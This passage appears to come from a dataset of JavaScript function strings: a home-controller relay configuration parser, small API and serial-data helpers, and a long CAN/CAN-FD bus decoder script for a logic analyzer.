mode=\"+hc6.sensors[i].mode+ \" timer=\"+hc6.sensors[i].timer+\" offtimer=\"+hc6.sensors[i].offtimer+\n \" relay0=\"+hc6.sensors[i].relays[0]+\" relay1=\"+hc6.sensors[i].relays[1]+\" relay2=\"+hc6.sensors[i].relays[2]+\n \" relay3=\"+hc6.sensors[i].relays[3]+\" relay4=\"+hc6.sensors[i].relays[4]+\" relay5=\"+hc6.sensors[i].relays[5]);\n }\n\n // read all configured relays\n for (let i=0; i<=5; i++){\n if (obj.relays[i]!=null){\n hc6.relays[i].relay_id = parseInt(obj.relays[i].relay_id);\n hc6.relays[i].name = obj.relays[i].name;\n hc6.relays[i].relay = parseInt(obj.relays[i].relay);\n hc6.relays[i].type = parseInt(obj.relays[i].type);\n hc6.relays[i].time = parseInt(obj.relays[i].time);\n hc6.relays[i].run = parseInt(obj.relays[i].run);\n hc6.relays[i].period = parseInt(obj.relays[i].period);\n hc6.relays[i].timestr = obj.relays[i].timestr;\n }\n else{\n hc6.relays[i].relay_id = 0;\n hc6.relays[i].name = \"\";\n hc6.relays[i].relay = 0;\n hc6.relays[i].type = 0;\n hc6.relays[i].time = 0;\n hc6.relays[i].run = 0;\n hc6.relays[i].period = 0;\n hc6.relays[i].timestr = \"\";\n }\n this.log.info(\"relay\"+i+\": relay_id=\"+hc6.relays[i].relay_id+\" name=\"+hc6.relays[i].name+\n \" relay=\"+hc6.relays[i].relay+\" type=\"+hc6.relays[i].type+\" time=\"+hc6.relays[i].time+\n \" run=\"+hc6.relays[i].run+\" period=\"+hc6.relays[i].period+\" timestr=\"+hc6.relays[i].timestr);\n }\n }\n })\n }\n }","function getBufferRequest(opt, callback){\n\n\topt.host = \"cloud.cadexchanger.com\";\n\topt.protocol = \"https:\";\n\topt.path = \"/api/v1\" + opt.path;\n\n\tconst tmpFile = fs.createWriteStream(\"tmp.file\");\n\tconst req = https.get(opt, (res) => {\n\t\tres.pipe(tmpFile);\n\n\t\ttmpFile.on('finish', () => {\n\t\t\t//tmpFile.close();\n\t\t\tcallback(fs.readFileSync(\"tmp.file\"));\n\t\t\tfs.unlink(\"tmp.file\", ()=>{});\n\t\t});\n\t});\n}","function readSerialData(data) {\n console.log(data.toString());\n sendit({method: 'data', data: data.toString()});\n}","function getDevicePromise(device) {\n return fetch(\n `https://www-bd.fnal.gov/cgi-bin/acl.pl?acl=~kissel/acl/mshow.acl+${device}+/device_index`\n )\n .then(res => res.text())\n .then(text => {\n return text;\n })\n .then(parseDeviceIndex);\n}","function decode()\n{\n\tget_ui_vals();\n\n\n\tif (typeof hex_opt === 'undefined')\n\t{\n\t\thex_opt = 0;\n\t}\n\n\n\n\tif (rate == 0)\n\t{\n\t\treturn;\n\t}\n\n\tspb = sample_rate / rate; \t\t// Calculate the number of Samples Per Bit.\n\n\ttry\n\t{\n\t\tspb_hs = sample_rate / high_rate;\n\t}\n\tcatch(e)\n\t{\n\t\tspb_hs = sample_rate / 2000000;\n\t}\n\n\tm = spb / 10; \t\t\t\t\t// Margin = 1 tenth of a bit time (expresed in number of samples)\n\tm_hs = spb_hs / 10;\n\n\tvar t = trs_get_first(ch);\n\n\tchannel_color = get_ch_light_color(ch);\n\n\twhile (trs_is_not_last(ch) && (stop == false))\n\t{\n\t if (abort_requested() == true)\t\t// Allow the user to abort this script\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tswitch (state)\n\t\t{\n\t\t\tcase GET_SOF:\n\n\t\t\t\twhile ((t.val != 0) && trs_is_not_last(ch))\t\t// Search for SOF\n\t\t\t\t{\n\t\t\t\t\tt = trs_get_next(ch);\n\t\t\t\t}\n\n\t\t\t\ts = t.sample + (spb * 0.5); \t\t// Position our reader on the middle of first bit\n\n\t\t\t\tbit_sampler_ini(ch,spb /2, spb); \t// Initialize the bit sampler (to be able tu use \"bit_sampler_next()\")\n\t\t\t\tbit_sampler_next(ch); \t\t\t\t// Read and skip the start bit\n\n\t\t\t\tdec_item_new(ch,t.sample,t.sample + spb - m); \t// Add the start bit item\n\t\t\t\tdec_item_add_pre_text(\"Start of Frame\");\n\t\t\t\tdec_item_add_pre_text(\"Start\");\n\t\t\t\tdec_item_add_pre_text(\"SOF\");\n\t\t\t\tdec_item_add_pre_text(\"S\");\n\n\t\t\t\tpkt_start(\"CAN\");\n\t\t\t\tpkt_add_item(-1, -1, \"SOF\", \"\", dark_colors.blue, channel_color);\n\n\t\t\t\tbits = [];\n\t\t\t\trb = 0;\n\t\t\t\tframe_length_in_sample = 0;\n\t\t\t\tb = 0; sb = 0;\n\t\t\t\tbit_pos = [];\n\t\t\t\tide_mode = false;\n\t\t\t\tdata_size = 0;\n\t\t\t\tbits.push(0); \t\t// Add the start bit to the bits table\n\t\t\t\tbit_pos.push(s); \t// Add its position\n\t\t\t\tb++;\n\t\t\t\trb++;\n\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\tlast_bit = 0;\n\t\t\t\tstate = GET_ID;\n\t\t\t\trtr_mode = false;\n\t\t\t\tide_mode = false;\n\t\t\t\tedl_mode = false;\n\t\t\t\tpotential_overload = true; \t// This *may* be the beginning of an overload frame\n\n\t\t\tbreak;\n\n\t\t\tcase GET_ID:\n\n\t\t\t\twhile (true) \t// Read bits until we break\n\t\t\t\t{\n\t\t\t\t\tif (abort_requested() == true)\t// Allow the user to abort this script\n\t\t\t\t\t{\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(edl_mode && (((b==35)&&ide_mode) || ((b==16)&&!ide_mode)) )\n\t\t\t\t\t{\n\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs); \t// use High speed since now\n\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t{\n\n\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\t\t\t\t\t\tif (stuffing_ok == false) break; \t// Break on the first stuffing error\n\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t\t// Regular bit\n\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t}\n\n\n\n\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\tb++;\n\t\t\t\t\t}\n\n\t\t\t\t\trb++;\n\t\t\t\t\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\telse\n\t\t\t\t\t\tframe_length_in_sample += spb;\n\n\n\t\t\t\t\tif(edl_mode && (((b==36)&&ide_mode) || ((b==17)&&!ide_mode)) )\n\t\t\t\t\t{\n\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ((b == 14) && (bits[13] == 1))\n\t\t\t\t\t{\n\t\t\t\t\t\tide_mode = true;\n\t\t\t\t\t\trtr_mode = false; \t// Reset rtr, will be checked at bit 32\n\t\t\t\t\t}\n\n\t\t\t\t\tif (ide_mode)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((b == 33) && (bits[32] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trtr_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((b == 34) && (bits[33] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tedl_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((b == 13) && (bits[12] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trtr_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((b == 15) && (bits[14] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tedl_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((ide_mode == true) && (b == 41))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((ide_mode == false) && (b == 22))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((ide_mode == true) && (b == 39))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((ide_mode == false) && (b == 19))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t{\n\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\tstate = GET_SOF;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif(edl_mode) //if it's CAN-FD\n\t\t\t\t{\n\t\t\t\t\t// Check if we are in normal or extended ID mode\n\t\t\t\t\tif (ide_mode == false)\t \t// Normal frame\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\t\t\t\t// Calculate the value of the ID\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \t\t// Add the ID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"ID\", int_to_str_hex(val), dark_colors.green, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \t// Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME FORMAT\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"B\");\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"IDE = 0\",\"BASE FRAME FORMAT\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[14] - (0.5 * spb) + m, bit_pos[14] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Extended Data Length\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EDL\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[15] - (0.5 * spb) + m, bit_pos[15] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"r0\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[16] - (0.5 * spb) + m, bit_pos[16] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Bit Rate Switch\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BRS\");\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch, bit_pos[17] - (0.5 * spb) + m, bit_pos[17] + (0.5 * spb) - m);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch, bit_pos[17] - (0.5 * spb_hs) + m_hs, bit_pos[17] + (0.5 * spb_hs) - m_hs);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Error State Indicator)\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ESI\");\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 18; c < 22; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (val)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 0x9 : data_size = 12; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xA : data_size = 16; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xB : data_size = 20; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xC : data_size = 24; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xD : data_size = 32; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xE : data_size = 48; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xF : data_size = 64; crc_len=21; break;\n\t\t\t\t\t\t\tdefault : break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[18] - (0.5 * spb) + m, bit_pos[21] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[18] - (0.5 * spb_hs) + m_hs, bit_pos[21] + (0.5 * spb_hs) - m_hs); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (c = 14; c < 32; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \t// Add the EID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"EXTENDED IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EID: \");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = val;\n\n\t\t\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar tmp_byte = (tmp_val & 0xFF);\n\t\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_byte);\n\t\t\t\t\t\t\t\ttmp_val = (tmp_val - tmp_byte) / 256;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"EID\", int_to_str_hex(val), dark_colors.violet, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[33] - (0.5 * spb) + m, bit_pos[33] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Extended Data Length\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EDL\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[34] - (0.5 * spb) + m, bit_pos[34] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"r0\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[35] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Bit Rate Switch\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BRS\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[36] - (0.5 * spb_hs) + m_hs, bit_pos[36] + (0.5 * spb_hs) - m_hs);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Error State Indicator)\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ESI\");\n\n\t\t\t\t\t\tpkt_add_item(0, 0, \"IDE = 1\", \"EXTENDED FRAME FORMAT\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 37; c < 41; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (val)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 0x9 : data_size = 12; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xA : data_size = 16; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xB : data_size = 20; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xC : data_size = 24; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xD : data_size = 32; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xE : data_size = 48; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xF : data_size = 64; crc_len=21; break;\n\t\t\t\t\t\t\tdefault : break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[37] - (0.5 * spb) + m, bit_pos[40] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[37] - (0.5 * spb_hs) + m_hs, bit_pos[40] + (0.5 * spb_hs) - m_hs); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(t.sample, t.sample + spb - m, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Check if we are in normal or extended ID mode\n\t\t\t\t\tif (ide_mode == false)\t \t// Normal frame\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\t\t\t\t// Calculate the value of the ID\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \t\t// Add the ID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"ID\", int_to_str_hex(val), dark_colors.green, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \t// Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m); \t// Add the IDE bit\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME FORMAT\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"B\");\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"IDE = 0\",\"BASE FRAME FORMAT\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 15; c < 19; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[15] - (0.5 * spb) + m, bit_pos[18] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (c = 14; c < 32; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \t// Add the EID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"EXTENDED IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EID: \");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = val;\n\n\t\t\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar tmp_byte = (tmp_val & 0xFF);\n\t\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_byte);\n\t\t\t\t\t\t\t\ttmp_val = (tmp_val - tmp_byte) / 256;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"EID\", int_to_str_hex(val), dark_colors.violet, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * 